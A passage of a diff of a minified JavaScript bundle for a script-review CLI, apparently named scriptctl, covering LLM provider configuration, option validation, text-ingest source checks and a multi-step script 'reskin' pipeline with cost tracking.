defined.`,{exitCode:b,errorCode:"REVIEW_PROFILE_UNKNOWN",hint:`Define it under models, or pick one of: ${Object.keys(e.models).join(", ")}.`,data:{expected:["a defined models entry"],actual:[n]}});let i=e.providers[o.provider];if(!i)throw new S(`Provider "${o.provider}" is not defined.`,{exitCode:b,errorCode:"REVIEW_PROVIDER_UNKNOWN",hint:`Available providers: ${Object.keys(e.providers).join(", ")}.`,data:{expected:["a defined providers entry"],actual:[o.provider]}});let r=(process.env[i.apiKeyEnv]??"").trim();if(!r&&i.protocol!=="google-vertex")throw new S(`${i.apiKeyEnv} is not set.`,{exitCode:b,errorCode:"REVIEW_API_KEY_MISSING",hint:`Export ${i.apiKeyEnv} for provider ${o.provider}.`,data:{expected:[i.apiKeyEnv],actual:["<empty>"]}});let s=i.protocol.startsWith("google")&&ES.includes(o.reasoning??"")?o.reasoning:void 0;return{provider:o.provider,model:o.model,baseUrl:i.baseUrl,apiKey:r,maxAttempts:i.maxAttempts,protocol:i.protocol,responseSchemaField:i.videoResponseSchemaField,...s?{thinking:s}:{}}}function rg(e){let{baseUrl:t,...n}=e;return{...n,...t?{baseUrl:t}:{}}}function Cp(e,t,n=!1){let o=rg(ba(e,t));if(n||process.env.SCRIPTCTL_REVIEW_SINGLE_MODEL==="1")return{...o,singleModel:!0};let i=(e.models[t]?.fallbacks??[]).flatMap(r=>{let s=e.models[r],c=s&&e.providers[s.provider];return c&&c.protocol!=="google-vertex"&&!process.env[c.apiKeyEnv]?.trim()?[]:[rg(ba(e,r))]});return{...o,fallbacks:i}}async function nn(){let e=va.dirname(wS(import.meta.url)),t=va.join(e,"review-agent.js"),n=fi.existsSync(t)?_S(t).href:"@lingjingai/review-agent";try{return await import(n)}catch(o){throw new S("The review agent is not installed.",{exitCode:X,errorCode:"REVIEW_AGENT_MISSING",hint:"Reinstall scriptctl without --omit=optional, or install @mastra/core and @ai-sdk/google.",data:{expected:["@lingjingai/review-agent"],actual:[String(o.message).slice(0,200)]}})}}function ns(e){let t=e.trim();if(!t)return;let n=t.split(",").map(o=>Number(o.trim()));if(n.some(o=>!Number.isInteger(o)||o<1))throw new S("--episodes takes a comma-separated list of 1-based episode numbers.",{exitCode:b,errorCode:"REVIEW_EPISODES_INVALID",hint:"For example: --episodes 1,2,5",data:{expected:["1-based episode numbers"],actual:[t]}});return n}function st(e,t,n){let o=e[t];if(o===void 0)return n;let i=Number(o);if(!Number.isFinite(i)||i<=0)throw new S(`--${t.replace(/_/g,"-")} must be a positive number.`,{exitCode:b,errorCode:"REVIEW_OPTION_INVALID",hint:`Pass a positive number for --${t.replace(/_/g,"-")}.`,data:{expected:["a positive number"],actual:[String(o)]}});return i}async function ag(e){let t=vo(v(e.llm_config).trim()||void 0),n=v(e.model).trim(),o=v(e.source_path).trim(),i=(Array.isArray(e.video)?e.video:[]).map(m=>m.trim()).filter(m=>m.length>0),r=Fm(o,i.length>0),c=Cp(t,n||(r==="comic"?"review-comic":r==="text"?"review-text":sg),e.fallback===!1),a=v(e.media_model).trim(),d=r==="video"?a?Cp(t,a,e.fallback===!1):t.source==="builtin"&&!n?Cp(t,"review-media",e.fallback===!1):c:void 0,p=v(e.assets).split(",").map(m=>m.trim()).filter(Boolean);if(p.length&&(r!=="video"||e.converge_only!==!0||e.converge===!1))throw new S("--assets \u7528\u4E8E\u89C6\u9891\u8D44\u4EA7\u5B9A\u70B9\u590D\u6838\uFF0C\u8BF7\u540C\u65F6\u63D0\u4F9B --converge-only \u4E0E\u89C6\u9891\u6765\u6E90\u3002",{exitCode:b,errorCode:"REVIEW_OPTION_INVALID",hint:"\u7528 --assets actXXXXXX --converge-only\uFF1B--episodes \u53EF\u9650\u5B9A\u4EBA\u7269\u9636\u6BB5\u590D\u6838\u96C6\u6570\u3002",data:{expected:["video review with --converge-only"],actual:[r]}});if(e.check){let m=await nn(),w=typeof{script:m.reviewPlainScript,text:m.reviewTextScript,comic:m.reviewComicScript,video:m.reviewVideoScript}[r]=="function";return[{text:w?`ready: ${c.provider}/${c.model}${d?`
220
- media: ${d.provider}/${d.model}`:""}`:"the review agent bundle is present but exports no reviewScript",data:{ready:w,review_kind:r,provider:c.provider,model:c.model,...d?{media_provider:d.provider,media_model:d.model}:{},llm_config:t.sourcePath??"builtin"}},w?G:X]}let l=me(e);if(!fi.existsSync(l))throw new S("Local script file not found.",{exitCode:b,errorCode:"SCRIPT_NOT_FOUND",hint:"Run `scriptctl checkout`, `scriptctl create`, or pass --script-path to an existing script.",data:{expected:["existing local script JSON"],actual:[l]}});let f=i.filter(m=>!fi.existsSync(m));if(f.length>0)throw new S("A --video path does not exist.",{exitCode:b,errorCode:"REVIEW_SOURCE_NOT_FOUND",hint:"Pass --video once per episode, in episode order.",data:{expected:["existing video files"],actual:f.slice(0,5)}});if(o&&!fi.existsSync(o))throw new S("Review source not found.",{exitCode:b,errorCode:"REVIEW_SOURCE_NOT_FOUND",hint:"Pass an existing source or ingest workspace, or omit -s for script-only review.",data:{expected:["existing source or ingest workspace"],actual:[o]}});let u=await nn(),y=m=>process.stdout.write(JSON.stringify(m)+`
221
- `);try{let m={scriptPath:l,...ns(v(e.episodes))?{episodes:ns(v(e.episodes))}:{},concurrency:st(e,"concurrency",5),converge:e.converge!==!1,convergeOnly:e.converge_only===!0,resumeUnits:(Array.isArray(e.resume_log)?e.resume_log:[]).flatMap(g=>fi.readFileSync(g,"utf8").split(`
222
- `).flatMap(w=>{let h;try{h=JSON.parse(w)}catch{return[]}return h&&(h.type==="episode"||h.type==="global")?[h]:[]})),...c,maxSteps:st(e,"max_steps",300),episodeTimeoutMs:st(e,"episode_timeout_ms",9e5),onEvent:y};if(r==="comic"){let g=await zm(o,l,m.converge?void 0:m.episodes);await u.reviewComicScript({...m,comic:g})}else if(r==="text"){let g=await ig(o,l,m.converge?void 0:m.episodes);await u.reviewTextScript({...m,text:g})}else r==="video"?await u.reviewVideoScript({...m,source:o,videos:i,mediaConfig:d,...p.length?{convergenceAssets:p}:{},strategy:e.review_strategy==="batch"?"batch":"legacy",mediaModel:d.model,...e.media_budget===void 0?{}:{mediaBudget:st(e,"media_budget",1)}}):await u.reviewPlainScript(m)}catch(m){throw m instanceof S?m:new S("Review failed.",{exitCode:X,errorCode:"REVIEW_FAILED",hint:r==="video"?"Read the error details, NDJSON asr-compared/episode reports and .review/asr/ evidence before retrying.":`Read the error details and episode reports${r==="script"?"":` in .review/${r}/`} before retrying.`,data:{expected:["a completed review run"],actual:[m instanceof Error?m.message:String(m)]}})}return[{text:"",data:{}},G]}import*as to from"node:fs";import*as ge from"node:fs";import*as Ee from"node:path";import{createHash as xS}from"node:crypto";var os=["analyze","direction","plan","write","review"],SS={analyze:"reskin",direction:"reskin-claude",plan:"reskin-claude",write:"reskin",review:"reskin-claude"},IS={"claude-opus-5-5":{input:4,cached_input:.2,output:20}};function Tp(e,t){let n=Ee.join(e,t);return{root:n,source:Ee.join(n,"0_input","script.json"),analysis:Ee.join(n,"1_src","\u62C6\u89E3.json"),direction:Ee.join(n,"2_new","\u6362\u58F3\u65B9\u5411.json"),brief:Ee.join(n,"2_new","\u6362\u58F3\u65B9\u5411.md"),plan:Ee.join(n,"2_new","\u6362\u58F3\u65B9\u6848.json"),script:Ee.join(n,"4_output","script.json"),log:o=>Ee.join(n,"logs",`${o}.ndjson`),status:Ee.join(n,"status.json")}}function Ra(e,t){ge.mkdirSync(Ee.dirname(e),{recursive:!0}),ge.writeFileSync(`${e}.tmp`,JSON.stringify(t,null,2)+`
223
- `),ge.renameSync(`${e}.tmp`,e)}function Oa(e){return ge.existsSync(e)?JSON.parse(ge.readFileSync(e,"utf8")):null}function AS(e,t){let n=Object.keys(e).filter(o=>t.startsWith(o)).sort((o,i)=>i.length-o.length)[0];return n?e[n]:null}function cg(e,t){let n=0,o=[];for(let[i,r]of Object.entries(e)){let s=AS(t,i);if(!s){o.push(i);continue}n+=((r.input-r.cached_input)*s.input+r.cached_input*s.cached_input+r.output*s.output)/1e6}return{usd:n,unpriced:o}}function kS(e,t){for(let n of t){let o=e[n.model]??={calls:0,input:0,cached_input:0,output:0};o.calls+=1,o.input+=n.input_tokens,o.cached_input+=n.cached_input_tokens,o.output+=n.output_tokens}}var bS=new Set(["unit-done","episode","global","direction-done"]);function vS(e,t){return xS("sha256").update(JSON.stringify([ge.readFileSync(e,"utf8"),t.notes??"",t.custom??"",t.market??"",t.rating??"",t.avoid??[]])).digest("hex")}function OS(e,t,n){let o=n.market?.trim();return[`# ${e.title}`,`\u76EE\u6807\u5E02\u573A\uFF1A${o||"\u540C\u539F\u5267"}`,o&&n.language?.trim()?`\u53F0\u8BCD\u8BED\u8A00\uFF1A${n.language.trim()}`:"",`\u5C3A\u5EA6\uFF1A${n.rating?.trim()||"\u540C\u539F\u5267"}`,`\u6362\u58F3\uFF1A${e.shell}`,`\u6362\u6CD5\uFF1A${e.approach}`,e.keeps?`\u6CBF\u7528\u539F\u5267\uFF1A${e.keeps}`:"",e.changes?`\u5FC5\u987B\u6539\u52A8\uFF1A${e.changes}`:"",e.risks?`\u98CE\u9669\uFF1A${e.risks}`:"",t.verdict&&t.reason?`\u65B9\u5411\u5224\u65AD\uFF08${t.verdict}\uFF09\uFF1A${t.reason}`:"",n.notes?.trim()?`\u7528\u6237\u8981\u6C42\uFF1A${n.notes.trim()}`:""].filter(Boolean).join(`
217
+ `),a.length>0]}var Lp=class extends Error{};function eg(e){return e.replace(/^/,"").replace(/\r\n?/g,`
218
+ `)}function gS(e){try{return new TextDecoder("utf-8",{fatal:!0}).decode(e)}catch{throw new Lp("source is not valid UTF-8")}}async function Ia(e,t){if(t===".docx"){let[n]=await Xm(e);return eg(n)}return eg(gS(tg.readFileSync(e)))}import{z as Aa}from"zod";function Np(e,t){let n=/^text:[^:]+:\d+:(\d+):(\d+):\d+$/.exec(e);if(!n)throw new Error(`Invalid text ingest identity: ${e}`);let o=Number(n[1]),i=Number(n[2]);if(o>=i)throw new Error(`Empty text ingest window: ${e}`);return{start_line:t+o+1,end_line:t+i}}function Up(e,t,n){return{kind:"text",document_id:t,ranges:[Np(e,n)]}}function ng(e,t,n){for(let o of e.episodes)for(let i of o.scenes)for(let r of i.actions){let s=Aa.object({scriptctl:Aa.record(Aa.string(),Aa.json()).optional()}).parse(r.extend??{});r.extend={...r.extend,scriptctl:{...s.scriptctl,source:Up(r.identity_key,t,n)}}}}var hS=qe.object({source:qe.object({kind:qe.literal("text"),sha256:qe.string().length(64),path:qe.string()})}),yS=qe.object({version:qe.literal(3),episode:qe.record(qe.string(),qe.string()),action:qe.record(qe.string(),qe.string())});function Kt(e){throw new S(e,{exitCode:b,errorCode:"REVIEW_TEXT_SOURCE_INVALID",hint:"Pass -s to the text ingest workspace, or its original txt/md/docx with the ingest workspace beside script.json. Keep pass1/source.txt, body_start.json and v4_identity_map.json."})}async function og(e,t,n){let o=Wn.statSync(e).isDirectory(),i=o?jt.resolve(e):jt.dirname(jt.resolve(t)),r=h=>{let _=jt.join(i,h);return Wn.existsSync(_)||Kt(`Text ingest artifact missing: ${_}`),JSON.parse(Wn.readFileSync(_,"utf8"))},s=hS.parse(r("manifest.json")),c=jt.join(i,"pass1/source.txt");Wn.existsSync(c)||Kt("Text review requires the normalized original source snapshot.");let a=Wn.readFileSync(c,"utf8");if(_e(a)!==s.source.sha256&&Kt("The original text snapshot has changed since ingest."),!o){let h=await Ia(e,jt.extname(e).toLowerCase());_e(h)!==s.source.sha256&&Kt("The supplied text does not match this ingest source.")}let d=a.split(`
219
+ `),{line:p}=qe.object({line:qe.number().int().nonnegative()}).parse(r("pass1/body_start.json"));p>=d.length&&Kt("Text body start is outside the source snapshot.");let l=yS.parse(r("v4_identity_map.json")),f=Mo(JSON.parse(Wn.readFileSync(t,"utf8")));f.version!==4&&Kt("Text source review requires the ingested Script v4.");let u=wa(s.source.sha256),y=Object.entries(l.episode).map(([h,_])=>({id:_,...Np(h,p)})).sort((h,_)=>h.start_line-_.start_line);y.some(h=>h.end_line>d.length)&&Kt("An episode's ingest window is outside the original source.");let m=f.episodes.filter(h=>!n?.length||n.includes(h.no)).map(h=>{let _=y.filter(A=>A.id===h.id);_.length!==1&&Kt(`Episode ${h.no} has no unambiguous text source identity.`);let x=_[0],E=y[y.indexOf(x)+1];return{episode:h.no,start_line:y.indexOf(x)===0?p+1:x.start_line,end_line:E?E.end_line:d.length}});m.length||Kt("No selected episodes exist in this script.");let g=new Map,w=new Map(Object.entries(l.action).map(([h,_])=>[_,Up(h,u,p)]));for(let h of kn(f)){if(!m.some(E=>E.episode===h.scene.ep.no))continue;let _=qe.object({scriptctl:qe.object({source:Rp.optional()}).optional()}).safeParse(h.raw.extend??{});_.success||Kt(`Invalid text source metadata on ${h.anchor}.`);let x=_.data.scriptctl?.source??w.get(h.anchor);x&&(x.document_id!==u&&Kt(`Action ${h.anchor} belongs to a different text document.`),x.ranges.some(E=>E.start_line>E.end_line||E.end_line>d.length)&&Kt(`Invalid source lines on ${h.anchor}.`),g.set(h.anchor,x))}return{document_id:u,title:jt.basename(s.source.path),path:c,lines:d,episodes:m,references:g}}var rg="review-agent",ES=["minimal","low","medium","high"];function ka(e,t){let n=t||rg,o=e.models[n];if(!o)throw new S(`LLM profile "${n}" is not defined.`,{exitCode:b,errorCode:"REVIEW_PROFILE_UNKNOWN",hint:`Define it under models, or pick one of: ${Object.keys(e.models).join(", ")}.`,data:{expected:["a defined models entry"],actual:[n]}});let i=e.providers[o.provider];if(!i)throw new S(`Provider "${o.provider}" is not defined.`,{exitCode:b,errorCode:"REVIEW_PROVIDER_UNKNOWN",hint:`Available providers: ${Object.keys(e.providers).join(", ")}.`,data:{expected:["a defined providers entry"],actual:[o.provider]}});let r=(process.env[i.apiKeyEnv]??"").trim();if(!r&&i.protocol!=="google-vertex")throw new S(`${i.apiKeyEnv} is not set.`,{exitCode:b,errorCode:"REVIEW_API_KEY_MISSING",hint:`Export ${i.apiKeyEnv} for provider ${o.provider}.`,data:{expected:[i.apiKeyEnv],actual:["<empty>"]}});let s=i.protocol.startsWith("google")&&ES.includes(o.reasoning??"")?o.reasoning:void 0;return{provider:o.provider,model:o.model,baseUrl:i.baseUrl,apiKey:r,maxAttempts:i.maxAttempts,protocol:i.protocol,responseSchemaField:i.videoResponseSchemaField,...s?{thinking:s}:{}}}function ig(e){let{baseUrl:t,...n}=e;return{...n,...t?{baseUrl:t}:{}}}function Pp(e,t,n=!1){let o=ig(ka(e,t));if(n||process.env.SCRIPTCTL_REVIEW_SINGLE_MODEL==="1")return{...o,singleModel:!0};let i=(e.models[t]?.fallbacks??[]).flatMap(r=>{let s=e.models[r],c=s&&e.providers[s.provider];return c&&c.protocol!=="google-vertex"&&!process.env[c.apiKeyEnv]?.trim()?[]:[ig(ka(e,r))]});return{...o,fallbacks:i}}async function nn(){let e=ba.dirname(wS(import.meta.url)),t=ba.join(e,"review-agent.js"),n=ui.existsSync(t)?_S(t).href:"@lingjingai/review-agent";try{return await import(n)}catch(o){throw new S("The review agent is not installed.",{exitCode:X,errorCode:"REVIEW_AGENT_MISSING",hint:"Reinstall scriptctl without --omit=optional, or install @mastra/core and @ai-sdk/google.",data:{expected:["@lingjingai/review-agent"],actual:[String(o.message).slice(0,200)]}})}}function es(e){let t=e.trim();if(!t)return;let n=t.split(",").map(o=>Number(o.trim()));if(n.some(o=>!Number.isInteger(o)||o<1))throw new S("--episodes takes a comma-separated list of 1-based episode numbers.",{exitCode:b,errorCode:"REVIEW_EPISODES_INVALID",hint:"For example: --episodes 1,2,5",data:{expected:["1-based episode numbers"],actual:[t]}});return n}function st(e,t,n){let o=e[t];if(o===void 0)return n;let i=Number(o);if(!Number.isFinite(i)||i<=0)throw new S(`--${t.replace(/_/g,"-")} must be a positive number.`,{exitCode:b,errorCode:"REVIEW_OPTION_INVALID",hint:`Pass a positive number for --${t.replace(/_/g,"-")}.`,data:{expected:["a positive number"],actual:[String(o)]}});return i}async function sg(e){let t=bo(v(e.llm_config).trim()||void 0),n=v(e.model).trim(),o=v(e.source_path).trim(),i=(Array.isArray(e.video)?e.video:[]).map(m=>m.trim()).filter(m=>m.length>0),r=Qm(o,i.length>0),c=Pp(t,n||(r==="comic"?"review-comic":r==="text"?"review-text":rg),e.fallback===!1),a=v(e.media_model).trim(),d=r==="video"?a?Pp(t,a,e.fallback===!1):t.source==="builtin"&&!n?Pp(t,"review-media",e.fallback===!1):c:void 0,p=v(e.assets).split(",").map(m=>m.trim()).filter(Boolean);if(p.length&&(r!=="video"||e.converge_only!==!0||e.converge===!1))throw new S("--assets \u7528\u4E8E\u89C6\u9891\u8D44\u4EA7\u5B9A\u70B9\u590D\u6838\uFF0C\u8BF7\u540C\u65F6\u63D0\u4F9B --converge-only \u4E0E\u89C6\u9891\u6765\u6E90\u3002",{exitCode:b,errorCode:"REVIEW_OPTION_INVALID",hint:"\u7528 --assets actXXXXXX --converge-only\uFF1B--episodes \u53EF\u9650\u5B9A\u4EBA\u7269\u9636\u6BB5\u590D\u6838\u96C6\u6570\u3002",data:{expected:["video review with --converge-only"],actual:[r]}});if(e.check){let m=await nn(),w=typeof{script:m.reviewPlainScript,text:m.reviewTextScript,comic:m.reviewComicScript,video:m.reviewVideoScript}[r]=="function";return[{text:w?`ready: ${c.provider}/${c.model}${d?`
220
+ media: ${d.provider}/${d.model}`:""}`:"the review agent bundle is present but exports no reviewScript",data:{ready:w,review_kind:r,provider:c.provider,model:c.model,...d?{media_provider:d.provider,media_model:d.model}:{},llm_config:t.sourcePath??"builtin"}},w?G:X]}let l=me(e);if(!ui.existsSync(l))throw new S("Local script file not found.",{exitCode:b,errorCode:"SCRIPT_NOT_FOUND",hint:"Run `scriptctl checkout`, `scriptctl create`, or pass --script-path to an existing script.",data:{expected:["existing local script JSON"],actual:[l]}});let f=i.filter(m=>!ui.existsSync(m));if(f.length>0)throw new S("A --video path does not exist.",{exitCode:b,errorCode:"REVIEW_SOURCE_NOT_FOUND",hint:"Pass --video once per episode, in episode order.",data:{expected:["existing video files"],actual:f.slice(0,5)}});if(o&&!ui.existsSync(o))throw new S("Review source not found.",{exitCode:b,errorCode:"REVIEW_SOURCE_NOT_FOUND",hint:"Pass an existing source or ingest workspace, or omit -s for script-only review.",data:{expected:["existing source or ingest workspace"],actual:[o]}});let u=await nn(),y=m=>process.stdout.write(JSON.stringify(m)+`
221
+ `);try{let m={scriptPath:l,...es(v(e.episodes))?{episodes:es(v(e.episodes))}:{},concurrency:st(e,"concurrency",5),converge:e.converge!==!1,convergeOnly:e.converge_only===!0,resumeUnits:(Array.isArray(e.resume_log)?e.resume_log:[]).flatMap(g=>ui.readFileSync(g,"utf8").split(`
222
+ `).flatMap(w=>{let h;try{h=JSON.parse(w)}catch{return[]}return h&&(h.type==="episode"||h.type==="global")?[h]:[]})),...c,maxSteps:st(e,"max_steps",300),episodeTimeoutMs:st(e,"episode_timeout_ms",9e5),onEvent:y};if(r==="comic"){let g=await jm(o,l,m.converge?void 0:m.episodes);await u.reviewComicScript({...m,comic:g})}else if(r==="text"){let g=await og(o,l,m.converge?void 0:m.episodes);await u.reviewTextScript({...m,text:g})}else r==="video"?await u.reviewVideoScript({...m,source:o,videos:i,mediaConfig:d,...p.length?{convergenceAssets:p}:{},strategy:e.review_strategy==="batch"?"batch":"legacy",mediaModel:d.model,...e.media_budget===void 0?{}:{mediaBudget:st(e,"media_budget",1)}}):await u.reviewPlainScript(m)}catch(m){throw m instanceof S?m:new S("Review failed.",{exitCode:X,errorCode:"REVIEW_FAILED",hint:r==="video"?"Read the error details, NDJSON asr-compared/episode reports and .review/asr/ evidence before retrying.":`Read the error details and episode reports${r==="script"?"":` in .review/${r}/`} before retrying.`,data:{expected:["a completed review run"],actual:[m instanceof Error?m.message:String(m)]}})}return[{text:"",data:{}},G]}import*as eo from"node:fs";import*as ge from"node:fs";import*as Ee from"node:path";import{createHash as xS}from"node:crypto";var ts=["analyze","direction","plan","write","review"],SS={analyze:"reskin",direction:"reskin-claude",plan:"reskin-claude",write:"reskin",review:"reskin-claude"},IS={"claude-opus-5-5":{input:4,cached_input:.2,output:20}};function Cp(e,t){let n=Ee.join(e,t);return{root:n,source:Ee.join(n,"0_input","script.json"),analysis:Ee.join(n,"1_src","\u62C6\u89E3.json"),direction:Ee.join(n,"2_new","\u6362\u58F3\u65B9\u5411.json"),brief:Ee.join(n,"2_new","\u6362\u58F3\u65B9\u5411.md"),plan:Ee.join(n,"2_new","\u6362\u58F3\u65B9\u6848.json"),script:Ee.join(n,"4_output","script.json"),log:o=>Ee.join(n,"logs",`${o}.ndjson`),status:Ee.join(n,"status.json")}}function Oa(e,t){ge.mkdirSync(Ee.dirname(e),{recursive:!0}),ge.writeFileSync(`${e}.tmp`,JSON.stringify(t,null,2)+`
223
+ `),ge.renameSync(`${e}.tmp`,e)}function va(e){return ge.existsSync(e)?JSON.parse(ge.readFileSync(e,"utf8")):null}function AS(e,t){let n=Object.keys(e).filter(o=>t.startsWith(o)).sort((o,i)=>i.length-o.length)[0];return n?e[n]:null}function ag(e,t){let n=0,o=[];for(let[i,r]of Object.entries(e)){let s=AS(t,i);if(!s){o.push(i);continue}n+=((r.input-r.cached_input)*s.input+r.cached_input*s.cached_input+r.output*s.output)/1e6}return{usd:n,unpriced:o}}function kS(e,t){for(let n of t){let o=e[n.model]??={calls:0,input:0,cached_input:0,output:0};o.calls+=1,o.input+=n.input_tokens,o.cached_input+=n.cached_input_tokens,o.output+=n.output_tokens}}var bS=new Set(["unit-done","episode","global","direction-done"]);function vS(e,t){return xS("sha256").update(JSON.stringify([ge.readFileSync(e,"utf8"),t.notes??"",t.custom??"",t.market??"",t.rating??"",t.avoid??[]])).digest("hex")}function OS(e,t,n){let o=n.market?.trim();return[`# ${e.title}`,`\u76EE\u6807\u5E02\u573A\uFF1A${o||"\u540C\u539F\u5267"}`,o&&n.language?.trim()?`\u53F0\u8BCD\u8BED\u8A00\uFF1A${n.language.trim()}`:"",`\u5C3A\u5EA6\uFF1A${n.rating?.trim()||"\u540C\u539F\u5267"}`,`\u6362\u58F3\uFF1A${e.shell}`,`\u6362\u6CD5\uFF1A${e.approach}`,e.keeps?`\u6CBF\u7528\u539F\u5267\uFF1A${e.keeps}`:"",e.changes?`\u5FC5\u987B\u6539\u52A8\uFF1A${e.changes}`:"",e.risks?`\u98CE\u9669\uFF1A${e.risks}`:"",t.verdict&&t.reason?`\u65B9\u5411\u5224\u65AD\uFF08${t.verdict}\uFF09\uFF1A${t.reason}`:"",n.notes?.trim()?`\u7528\u6237\u8981\u6C42\uFF1A${n.notes.trim()}`:""].filter(Boolean).join(`
224
224
 
225
225
  `)+`
226
- `}function pg(e){let t=JSON.parse(ge.readFileSync(e,"utf8")),n=Array.isArray(t)?{dramas:t}:t;if(!Array.isArray(n.dramas)||!n.dramas.length)throw new Error("\u6E05\u5355\u91CC\u6CA1\u6709 dramas\u3002");let o=Ee.dirname(Ee.resolve(e)),i=new Set;return{dramas:n.dramas.map((s,c)=>{if(!s.source?.trim())throw new Error(`\u7B2C ${c+1} \u90E8\u5267\u6CA1\u6709 source\u3002`);let a=Ee.resolve(o,s.source.trim()),d=(s.id?.trim()||Ee.basename(Ee.dirname(a))).replace(/[\\/]/g,"-");if(i.has(d))throw new Error(`\u5267\u7684 id \u91CD\u590D\uFF1A${d}\uFF1B\u7ED9\u6BCF\u90E8\u5267\u5199\u4E0D\u540C\u7684 id\u3002`);if(i.add(d),s.pick!==void 0&&s.pick!=="recommended"&&!(Number.isInteger(s.pick)&&Number(s.pick)>=1))throw new Error(`${d} \u7684 pick \u5199\u5019\u9009\u5E8F\u53F7\uFF08\u4ECE 1 \u5F00\u59CB\uFF09\u6216 recommended\u3002`);return{...s,id:d,source:a}}),models:{...SS,...n.models??{}},prices:{...IS,...n.prices??{}},...n.pick!==void 0?{pick:n.pick}:{}}}async function RS(e,t,n){let o=[...e];await Promise.all(Array.from({length:Math.max(1,Math.min(t,o.length))},async()=>{for(let i=o.shift();i!==void 0;i=o.shift())await n(i)}))}var Rn=class extends Error{constructor(n,o){super(o);this.state=n}state};async function lg(e,t,n){let o=n.now??Date.now,i=new Map,r=()=>LS(n.outputDir,e,[...i.values()]);async function s(c){let a=Tp(n.outputDir,c.id),d={...Oa(a.status)??{id:c.id,steps:{}},state:"running",reason:"",step:null,updated_at:""};i.set(c.id,d);let p=()=>{d.updated_at=new Date(o()).toISOString(),Ra(a.status,d),r()},l=I=>n.onEvent?.({drama:c.id,...I});if(!ge.existsSync(a.source)){if(!ge.existsSync(c.source))throw new Rn("failed",`\u539F\u5267\u5267\u672C\u4E0D\u5B58\u5728\uFF1A${c.source}`);ge.mkdirSync(Ee.dirname(a.source),{recursive:!0}),ge.copyFileSync(c.source,a.source)}async function f(I,O){let U=d.steps[I]??{state:"running",runs:0,wall_ms:0,usage:{}};U.state="running",d.steps[I]=U,d.step=I,p(),l({type:"step-started",step:I}),ge.mkdirSync(Ee.dirname(a.log(I)),{recursive:!0});let C=K=>{ge.appendFileSync(a.log(I),JSON.stringify(K)+`
227
- `),bS.has(String(K.type))&&Array.isArray(K.usage)&&kS(U.usage,K.usage)},R=null;for(let K=1;K<=n.attempts;K+=1){let Z=o();U.runs+=1;try{R=await O(C)}catch(Re){R=Re instanceof Error?Re.message:String(Re)}if(U.wall_ms+=o()-Z,p(),!R)break}if(U.state=R?"failed":"completed",R?U.error=R:delete U.error,p(),l({type:"step-done",step:I,state:U.state,error:R}),R)throw new Rn("failed",`${I}\uFF1A${R}`)}let u=I=>d.steps[I]?.state==="completed",y=I=>n.until===I;if((!u("analyze")||!ge.existsSync(a.analysis))&&await f("analyze",async I=>{let O=await t.analyzeReskinSource({...n.config(e.models.analyze),sourcePath:a.source,outputPath:a.analysis,onEvent:I});return O.state==="completed"?null:O.error||"\u62C6\u89E3\u672A\u5B8C\u6210"}),y("analyze"))return;let m=Oa(a.analysis)?.profile?.suitability;if(typeof m?.score=="number"&&m.score<3&&c.pick===void 0)throw d.step="analyze",new Rn("stopped",`\u8FD9\u90E8\u539F\u5267\u4E0D\u592A\u9002\u5408\u6362\u58F3\uFF08\u62C6\u89E3\u9002\u5408\u5EA6 ${m.score}/5\uFF09${m.reason?`\uFF1A${m.reason}`:""}\u3002\u770B\u8FC7\u540E\u4ECD\u8981\u505A\uFF0C\u7ED9\u8FD9\u90E8\u5267\u5199 pick \u518D\u8FD0\u884C`);let g=vS(a.analysis,c),w=Oa(a.direction);(w?.key!==g||w.result.state!=="completed")&&(w=null,await f("direction",async I=>{let O=await t.proposeReskinDirections({...n.config(e.models.direction),sourcePath:a.source,analysisPath:a.analysis,notes:c.notes??"",custom:c.custom??"",market:c.market??"",rating:c.rating??"",avoid:c.avoid??[],onEvent:I});return O.type!=="direction-done"||O.state!=="completed"?O.type==="direction-done"&&O.error||"\u65B9\u5411\u672A\u5B8C\u6210":(w={key:g,result:O},Ra(a.direction,w),null)}));let h=w.result,_=!!c.custom?.trim(),x=_?1:c.pick??e.pick,E=x==="recommended"?h.recommended:x??null;if(d.direction={mode:_?"custom":"candidates",suitability:h.suitability,verdict:h.verdict,verdict_reason:h.reason,candidates:h.candidates.map(({title:I,shell:O,feasibility:U,distinctiveness:C})=>({title:I,shell:O,feasibility:U,distinctiveness:C})),recommended:h.recommended,recommendation:h.recommendation,picked:E},d.step="direction",h.verdict==="\u4E0D\u53EF\u884C")throw new Rn("stopped",`\u6307\u5B9A\u7684\u65B9\u5411\u4E0D\u53EF\u884C\uFF1A${h.reason}`);if(h.suitability&&h.suitability.score<3&&c.pick===void 0)throw new Rn("stopped",`\u8FD9\u90E8\u539F\u5267\u4E0D\u592A\u9002\u5408\u6362\u58F3\uFF08\u9002\u5408\u5EA6 ${h.suitability.score}/5\uFF09\uFF1A${h.suitability.reason}\u3002\u770B\u8FC7\u540E\u4ECD\u8981\u505A\uFF0C\u7ED9\u8FD9\u90E8\u5267\u5199 pick \u518D\u8FD0\u884C`);if(E===null)throw new Rn("stopped",`\u5F85\u4EBA\u5DE5\u9009\u62E9\u65B9\u5411\uFF1A\u5728\u6E05\u5355\u91CC\u7ED9\u8FD9\u90E8\u5267\u5199 pick\uFF081\u2013${h.candidates.length}\uFF0C\u63A8\u8350 ${h.recommended}\uFF09\u540E\u518D\u8FD0\u884C`);let A=h.candidates[E-1];if(!A)throw new Rn("stopped",`pick ${E} \u8D85\u51FA\u5019\u9009\u8303\u56F4\uFF08\u5171 ${h.candidates.length} \u4E2A\uFF09`);let k=OS(A,h,c),N=ge.existsSync(a.brief)?ge.readFileSync(a.brief,"utf8"):null;if(N!==k){let I=Ee.dirname(a.script);N!==null&&ge.existsSync(I)&&ge.renameSync(I,`${I}.${new Date(o()).toISOString().replace(/[:.]/g,"-")}`);for(let O of["plan","write","review"])delete d.steps[O];delete d.review,ge.mkdirSync(Ee.dirname(a.brief),{recursive:!0}),ge.writeFileSync(a.brief,k)}if(p(),y("direction")||(u("plan")||await f("plan",async I=>{let O=await t.buildReskinPlan({...n.config(e.models.plan),sourcePath:a.source,analysisPath:a.analysis,directionPath:a.brief,planPath:a.plan,onEvent:I});return O.state==="completed"?null:O.error||"\u65B9\u6848\u672A\u5B8C\u6210"}),y("plan"))||(u("write")||await f("write",async I=>{let O=await t.writeReskinScript({...n.config(e.models.write),reviewModel:n.config(e.models.review),sourcePath:a.source,analysisPath:a.analysis,planPath:a.plan,scriptPath:a.script,concurrency:Math.max(1,Math.floor(6/n.concurrency)),episodeTimeoutMs:48e4,onEvent:I});return O.type==="done"&&!O.failed?.length?null:`\u8FD9\u4E9B\u96C6\u6CA1\u6709\u5199\u6210\uFF1A${(O.failed??[]).join("\u3001")}`}),y("write")))return;let 